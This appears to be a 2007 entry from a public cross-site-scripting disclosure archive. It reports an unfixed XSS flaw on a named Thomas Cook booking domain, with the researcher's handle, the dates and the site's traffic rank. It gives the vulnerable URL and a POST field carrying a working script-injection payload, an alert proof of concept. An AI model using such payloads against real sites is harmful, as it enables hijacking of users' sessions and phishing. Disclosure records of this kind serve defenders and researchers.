Security researcher Venom23, has submitted on 10/10/2007 a cross-site-scripting (XSS) vulnerability affecting booking12.thomascook.de, which at the time of submission ranked 62181 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 13/10/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 10/10/2007 |
Date published: 13/10/2007 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Venom23 |
Domain: booking12.thomascook.de |
Category: XSS |
Pagerank: 62181 |
|---|
URL: https://booking12.thomascook.de/tcf-de/mycondor.jsp;jsessionid=C32D6F9C2B7B9FBCCB6E0C54B2BBA77D.as12
worker?ibe_host=80.77.210.67&ibe_pagename=ibpli/sessionID0tVutKSCwN5cpISGAET4b1AsRuGxrXeENQf8VH2N04G
NQ1q6 |
| POST: login=&password=&operationType=<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
|
Click here to view the mirror
|
|
|
| 
